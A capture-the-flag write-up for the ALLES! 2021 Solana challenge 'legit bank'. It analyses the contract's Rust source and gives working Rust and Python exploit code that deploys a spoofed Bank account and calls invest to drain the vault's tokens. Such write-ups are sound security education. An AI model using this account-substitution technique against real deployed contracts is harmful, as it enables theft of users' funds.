#pwn #blockchain #solana Part of the [[ALLES! 2021]] CTF. # Description You came across this very legit looking bank on the Solana blockchain. They swear they won't pull the rug! But can you pull it? The contract is deployed at: `Bank111111111111111111111111111111111111111` This challenge has the same setup as all Solana Smart Contract challenges: a validator running in a docker container that you have to interact with via RPC. We recommend using the [Solana PoC Framework](https://github.com/neodyme-labs/solana-poc-framework) which facilitates fast exploit development. Alternatively you can also use the official [rust api](https://docs.rs/solana-client/1.7.10/solana_client/rpc_client/struct.RpcClient.html), the official [js api](https://solana-labs.github.io/solana-web3.js/) or any other way you can think of interacting with the RPC server. Solana also has a multitude of [cli tools](https://docs.solana.com/cli/install-solana-cli-tools). Please note however that due to setup limitations, the TPU port of the validator is not exposed, which means the `solana program deploy` command will not work. The Solana PoC Framework has a [function](https://docs.rs/poc-framework/0.1.0/poc_framework/trait.Environment.html#method.deploy_program) for this that only uses the rpc endpoint and will work. The [solana explorer](https://explorer.solana.com/) works with any cluster your browser can reach. Just click on the `Mainnet Beta` button and enter the url of the RPC endpoint into the `Custom` text field. Checking the `Enable custom url param` checkbox might also be useful for collaboration. The explorer allows you to inspect accounts and transactions and has a bunch of useful features. The goal of these challenges is to obtain a flag-token (mint `F1agMint11111111111111111111111111111111111`). After you got one, you have to call the flag contract `F1ag111111111111111111111111111111111111111`. The instruction data is ignored, the first account has to be a spl-token account that contains a flag token and the second account has to be the owner of the token account. The second account needs to sign the transaction, to proof that you really got the flag. A good starting point is the Solana documentation: - [https://docs.solana.com/developing/programming-model/overview](https://docs.solana.com/developing/programming-model/overview) - [https://spl.solana.com/token#operational-overview](https://docs.solana.com/developing/programming-model/overview) - [https://docs.solana.com/developing/clients/jsonrpc-api](https://docs.solana.com/developing/clients/jsonrpc-api) Files: [legit-bank.zip](https://mega.nz/file/H1lkwBzK#c9Kp99XvbECU2r_wStQy-trMic4GfDMm6u6VWBbWIZ4) # Analysis You should probably read [[Secret Store#Initial Understanding]] before reading this. We will begin by building and running the provided docker image: ```bash unzip legit-bank.zip cd legit-bank sudo docker build -t lb . sudo docker run -d -p 1024:1024 lb ``` For this challenge we need to exploit the program at `Bank...`. We are given the source code in `program/src`. We will skip over the documentation and definitions in `lib.rs` for now and focus on `processor.rs`: ```rust pub fn process_instruction( program_id: &Pubkey, accounts: &[AccountInfo], instruction_data: &[u8], ) -> ProgramResult { match BankInstruction::try_from_slice(instruction_data)? { BankInstruction::Initialize { reserve_rate } => { initialize(program_id, accounts, reserve_rate) } BankInstruction::Open => open(program_id, accounts), BankInstruction::Deposit { amount } => deposit(program_id, accounts, amount), BankInstruction::Withdraw { amount } => withdraw(program_id, accounts, amount), BankInstruction::Invest { amount } => invest(program_id, accounts, amount), } } ``` `process_instruction` is the program's entry point. It will dispatch either `initialize`, `open`, `deposit`, `withdraw` or `invest` dependent on the first byte of `instruction_data`. We'll take a look at each of these functions in order: ```rust fn initialize(program_id: &Pubkey, accounts: &[AccountInfo], reserve_rate: u8) -> ProgramResult { let [bank_info, manager_info, vault_info, vault_authority_info, mint_info, rent_info, _system_program, _token_program] = array_ref![accounts, 0, 8]; let (bank_address, bank_seed) = Pubkey::find_program_address(&[], program_id); if *bank_info.key != bank_address { return Err(ProgramError::InvalidArgument); } if !manager_info.is_signer { return Err(ProgramError::MissingRequiredSignature); } let rent = Rent::from_account_info(rent_info)?; let (vault_key, vault_seed) = Pubkey::find_program_address(&[bank_address.as_ref()], program_id); if vault_info.key != &vault_key { return Err(ProgramError::InvalidArgument); } let (vault_authority, vault_authority_seed) = Pubkey::find_program_address(&[vault_key.as_ref()], program_id); if vault_authority_info.key != &vault_authority { return Err(ProgramError::InvalidArgument); } let bank = Bank { manager_key: manager_info.key.to_bytes(), vault_key: vault_key.to_bytes(), vault_authority: vault_authority.to_bytes(), vault_authority_seed, reserve_rate, total_deposit: 0, }; ``` `initialize` starts by verifying that the provided `bank_info`, `vault_info` and `vault_authority_info` accounts are derived from the program's public key. This means that only the program can sign transactions on their behalf. It also verifies that the `manager_info` account has signed the transaction, which is necessary because later on this account will have to sign inner instructions. Finally a `Bank` `struct` is created to hold various public keys as well as well as the reserve rate and total deposit. ```rust invoke_signed( &system_instruction::create_account( &manager_info.key, &vault_key, rent.minimum_balance(Account::get_packed_len()), Account::get_packed_len() as u64, &spl_token::ID, ), &[manager_info.clone(), vault_info.clone()], &[&[bank_address.as_ref(), &[vault_seed]]], )?; invoke_signed( &spl_token::instruction::initialize_account( &spl_token::ID, &vault_key, mint_info.key, vault_authority_info.key, )?, &[ vault_info.clone(), mint_info.clone(), vault_authority_info.clone(), rent_info.clone(), ], &[&[bank_address.as_ref(), &[vault_seed]]], )?; invoke_signed( &system_instruction::create_account( &manager_info.key, &bank_address, rent.minimum_balance(BANK_LEN as usize), BANK_LEN, &program_id, ), &[manager_info.clone(), bank_info.clone()], &[&[&[bank_seed]]], )?; bank.serialize(&mut &mut bank_info.data.borrow_mut()[..])?; Ok(()) } ``` The second half of the function invokes three internal instructions. The first and second instructions create and initialize `vault_info` as an SPL token account for `mint_info` (most likely `F1agMint...`). `vault_authority_info` is set as the authority for the account. The third instruction creates the `bank_info` account with enough data for the `Bank` `struct`. `bank` is then serialized and stored in this account. Now let's look at `open`: ```rust /// See struct BankInstruction for docs fn open(program_id: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult { let [user_account_info, withdrawer_info, _system_program] = array_ref![accounts, 0, 3]; // account must be program-derived account (PDA) from withdrawer let (address, seed) = Pubkey::find_program_address(&[&withdrawer_info.key.to_bytes()], program_id); if address != *user_account_info.key { return Err(0xfeedface.into()); } // create a new account let user_account = UserAccount { balance: 0, interest_paid_time: 0, interest_rate: DEFAULT_INTEREST_RATE, }; let data = user_account.try_to_vec()?; let rent_amount = Rent::default().minimum_balance(data.len()); invoke_signed( &system_instruction::create_account( &withdrawer_info.key, &user_account_info.key, rent_amount, data.len() as u64, program_id, ), &[user_account_info.clone(), withdrawer_info.clone()], &[&[&withdrawer_info.key.to_bytes(), &[seed]]], )?; user_account_info.data.borrow_mut().copy_from_slice(&data); Ok(()) } ``` This function opens an account with the `Bank...` program. It starts by checking that `user_account_info` is a derived from the programs public key. A new `UserAccount` `struct` is then created and populated with a zero balance. The `user_account_info` account is then created and populated with the data from the `struct`. Interestingly the program doesn't check that `withdrawer_info` is a signer. This doesn't really effect the security though as the inner instruction would fail if this weren't the case. We'll look at `deposit` now: ```rust fn deposit(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { let [bank_info, vault_info, user_account_info, source_token_account_info, source_authority_info, _spl_token_program, clock_info] = array_ref![accounts, 0, 7]; // check that the bank account is correct let (bank_address, _) = Pubkey::find_program_address(&[], program_id); if *bank_info.key != bank_address { return Err(ProgramError::InvalidArgument); } let (vault_key, _) = Pubkey::find_program_address(&[bank_address.as_ref()], program_id); if vault_info.key != &vault_key { return Err(ProgramError::InvalidArgument); } // check that the user account is an account owned by the program // and not the bank itself if user_account_info.owner != program_id || *user_account_info.key == bank_address { return Err(ProgramError::InvalidArgument); } let clock = Clock::from_account_info(clock_info)?; let mut bank: Bank = Bank::try_from_slice(&bank_info.data.borrow())?; let mut user_account: UserAccount = UserAccount::try_from_slice(&user_account_info.data.borrow())?; bank.total_deposit += amount + user_account.pay_interest(clock.unix_timestamp); user_account.balance += amount; ``` Again it begins by validating that the relevant supplied accounts are derived from the program's primary key. It also checks that the provided `user_account_info` is owned by the program and does not hold the `Bank` `struct` (meaning it must hold a `UserAccount` `struct`). The function then deserializes both `bank_info` and `user_account_info` and increments their balances in line with the deposit amount. ```rust invoke( &spl_token::instruction::transfer( &spl_token::ID, &source_token_account_info.key, &vault_info.key, &source_authority_info.key, &[], amount, )?, &[ vault_info.clone(), source_token_account_info.clone(), source_authority_info.clone(), ], )?; user_account.serialize(&mut &mut user_account_info.data.borrow_mut()[..])?; bank.serialize(&mut &mut bank_info.data.borrow_mut()[..])?; Ok(()) } ``` The second half of the function transfers the given `amount` of SPL token from `source_token_account_info` to `vault_info`. `user_account` and `bank` are then serialized and stored in the relevant accounts. Initially I thought it would be possible to create my own SPL token and trick the program by depositing that rather than `F1agMint...`. This unfortunately doesn't work as `vault_info` can only receive `F1agMint...` tokens so the inner transaction would fail. The `withdraw` function is like `deposit` except that it transfers from `vault_info` to `source_token_account_info` rather than the other way around and subtracts `amount` from the balances rather than adding it to them. There is also this additional check: ```rust // check that authorized withdrawer signed the transaction let (address, _) = Pubkey::find_program_address(&[&withdrawer_info.key.to_bytes()], program_id); if address != *user_account_info.key { return Err(0xfeedface.into()); }; if !withdrawer_info.is_signer { return Err(ProgramError::MissingRequiredSignature); } ``` It ensures that `user_account_info` is derived from `withdrawer_info` and the programs's public key and that `withdrawer_info` has signed the transaction. This means that users can only withdraw from their own account. There is actually a problem with this function. The `struct`s are never re-serialized and stored after `amount` is subtracted. This means if we had one token we could empty the bank by repeatedly sending transactions. Unfortunately however we don't have any tokens so this isn't exploitable in our case. The last function we need to analyze is `invest`: ```rust fn invest(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { let [bank_info, vault_info, vault_authority_info, dest_token_account_info, manager_info, _spl_token_program] = array_ref![accounts, 0, 6]; // verify that manager has approved if !manager_info.is_signer { return Err(ProgramError::MissingRequiredSignature); } // verify that manager is correct let bank: Bank = Bank::try_from_slice(&manager_info.data.borrow())?; if bank.manager_key != manager_info.key.to_bytes() { return Err(0xbeefbeef.into()); } // verify that the vault is correct if vault_info.key.as_ref() != &bank.vault_key { return Err(ProgramError::InvalidArgument); } // verify that enough money is left in reserve let vault = spl_token::state::Account::unpack(&vault_info.data.borrow())?; if (vault.amount - amount) * 100 < bank.total_deposit * u64::from(bank.reserve_rate) { return Err(0xfeedf00d.into()); } // transfer tokens to manager invoke_signed( &spl_token::instruction::transfer( &spl_token::ID, &vault_info.key, &dest_token_account_info.key, &vault_authority_info.key, &[], amount, )?, &[ vault_info.clone(), dest_token_account_info.clone(), vault_authority_info.clone(), ], &[&[vault_info.key.as_ref(), &[bank.vault_authority_seed]]], )?; Ok(()) } ``` The function first verifies that `manager_info` has signed the transaction and then deserializes the `Bank` `struct` from the provided `bank_info`. More checks are performed to: - Make sure that `manager_info`'s public key is the same as the `manager_key` stored in `bank`. - Make sure that `vault_info`'s public key is the same as the `vault_key` stored in `bank`. - Make sure that there are enough tokens in `vault_info` to service the requested `amount` without dropping below the reserve rate. If all these checks are met then the requested `amount` of tokens are transferred to `dest_token_account_info`. There is a major vulnerability in this function. All of the checks rely on the data stored in `bank_info` but there are no checks on `bank_info` itself. We could supply our own `bank_info` account that has `manager_key` as an account we control, allowing us to steal the tokens. # Exploitation First we need to work out the contents of our spoofed `Bank` `struct`. We only really need to change the `manager_key` entry and make sure that `total_deposit` is non-zero. Next we need to get it on the blockchain. We will do this by modifying the original programs's `initialize` function, recompiling it and deploying it. The modifications are quite simple, we just need to comment lines 51-60 and 71-97 in order to avoid failing checks and instructions and change the `struct` creation to: ```rust let bank = Bank { manager_key: manager_info.key.to_bytes(), vault_key: vault_info.key.to_bytes(), vault_authority: vault_authority_info.key.to_bytes(), vault_authority_seed: 255, reserve_rate, total_deposit: 100, }; ``` This will allow us to populate the keys from the accounts that we pass in when we call `initialize`. We can work out `vault_authority_seed` in `solana-py` with: ```python bank_program = PublicKey("Bank111111111111111111111111111111111111111") bank_address, _ = PublicKey.find_program_address([], bank_program) vault_address, _ = PublicKey.find_program_address([bytes(bank_address)], bank_program) vault_authority_address, vault_authority_seed = PublicKey.find_program_address([bytes(vault_address)], bank_program) print(vault_authority_seed) ``` The program can be compiled by running: ```bash cargo build-bpf ``` Now we run into a problem. The Solana CLI can't deploy the contract since we don't have a WebSocket port. Luckily the challenge description tells us that we can work around this using `poc-framework`s `deploy_program`. We can therefore write a short Rust program that takes an RPC address, keypair and program path and deploys the program: ```rust fn main() { setup_logging(LogLevel::DEBUG); let args: Vec<String> = env::args().collect(); let http = RpcClient::new_with_commitment(args[1].clone(), CommitmentConfig::confirmed()); let rich_boy = read_keypair_file(args[2].clone()).unwrap(); let mut environment = RemoteEnvironment::new(http, rich_boy); println!("{:?}", environment.deploy_program(args[3].clone())); } ``` Running this deploys our modified program at `HXtD...`. Now we need to initialize it. We'll use `solana-py` for this and will start by extending the code we used to get the seed to define some more accounts we will need as well as the RPC client: ```python http = Client("http://localhost:1024/") with open("rich-boi-lb.json") as f: rich_boi = Account(load(f)[:32]) fake_account = PublicKey("HXtDB5MKz5ZzT7wpfftiEgWBL5i2UQViKB6DZ5pmLq72") fake_address, _ = PublicKey.find_program_address([], fake_account) rich_boi_account, _ = PublicKey.find_program_address([bytes(rich_boi.public_key())], bank_program) flag_mint = PublicKey("F1agMint11111111111111111111111111111111111") ``` Now we'll write a function to to send the initialization transaction. We can copy most of the accounts from Solana Explorer and just change `manager_info` to `rich_boy`'s public key and `bank_info` to `fake_address` that is derived from `fake_account` (the modified program): ```python def fake(): fake_transaction = Transaction( fee_payer=rich_boi.public_key() ) fake_transaction.add(TransactionInstruction( keys=[ AccountMeta(pubkey=fake_address, is_signer=False, is_writable=True), AccountMeta(pubkey=rich_boi.public_key(), is_signer=True, is_writable=True), AccountMeta(pubkey=vault_address, is_signer=False, is_writable=True), AccountMeta(pubkey=vault_authority_address, is_signer=False, is_writable=False), AccountMeta(pubkey=flag_mint, is_signer=False, is_writable=False), AccountMeta(pubkey=sv.SYSVAR_RENT_PUBKEY, is_signer=False, is_writable=False), AccountMeta(pubkey=sp.SYS_PROGRAM_ID, is_signer=False, is_writable=False), AccountMeta(pubkey=TOKEN_PROGRAM_ID, is_signer=False, is_writable=False), ], program_id=fake_account, data=b"\x00\x0a" )) print(http.send_transaction(fake_transaction, rich_boi, opts=TxOpts(skip_confirmation=False))) ``` Running the function causes our spoofed `Bank` `struct` to be placed at `fake_address` as intended. Next is an easy step. We just need to create an account to receive the `F1agMint...` token. In [[Secret Store]] we used Solana's CLI to do this but this time we'll use Python as `solana-py` provides a very simple interface: ```python def spl(): token = Token(http, flag_mint, TOKEN_PROGRAM_ID, rich_boi) token_account = token.create_account(rich_boi.public_key()) print(token_account) return token_account ``` For the final part of the exploit we need to call `invest` with the spoofed accounts. The `borsh-py` library is still in development so we'll just encode the `amount` argument manually: ```python def invest(token_account): invest_transaction = Transaction( fee_payer=rich_boi.public_key() ) invest_transaction.add(TransactionInstruction( keys=[ AccountMeta(pubkey=fake_address, is_signer=False, is_writable=True), AccountMeta(pubkey=vault_address, is_signer=False, is_writable=True), AccountMeta(pubkey=vault_authority_address, is_signer=False, is_writable=False), AccountMeta(pubkey=token_account, is_signer=False, is_writable=True), AccountMeta(pubkey=rich_boi.public_key(), is_signer=True, is_writable=True), AccountMeta(pubkey=TOKEN_PROGRAM_ID, is_signer=False, is_writable=False) ], program_id=bank_program, data=b"\x04\x01\x00\x00\x00\x00\x00\x00\x00" )) print(http.send_transaction(invest_transaction, rich_boi, opts=TxOpts(skip_confirmation=False))) ``` After combining `spl` and `invest` with: ```python rich_boi_token_account = spl() invest(rich_boi_token_account) ``` We can run the program and our stolen token is transferred to `DcBT...` which we control. To finish things of we can enter the Docker container and use `bank-cli` to get the flag. The `--fee-payer` option doesn't seem to work so we need to copy `rich-boi.json` to the default location before running it: ```bash cp /keys/rich-boi.json ~/.config/solana/id.json bank-cli get-flag DcBTLiEBwDsy5hmniQ6NEoUW6Z7gjGvYktTw68iFwF7p ``` `bank-cli` also doesn't seem to produce any output but looking at `F1ag...`'s transactions in Solana Explorer reveals the placeholder flag. The real one can be obtained using the same methods. Programs: [main.rs](https://mega.nz/file/qp9nQY6S#EbTZdP2Qo63rOvDkmp7C5lToooHjZEOAzqBQviDOHz0) [legit_bank.py](https://mega.nz/file/j5k1UQhY#kAjpUx4H0ZYG32dZa2-hMgBoE3VhJsom784Mp0gVoGU) # Addendum Properly knowing Rust and using the `poc-framework` would have made this challenge a lot easier. After the competition someone mentioned that it has a `create_account_with_data` function which would have allowed me to skip compiling, deploying and initializing the contract.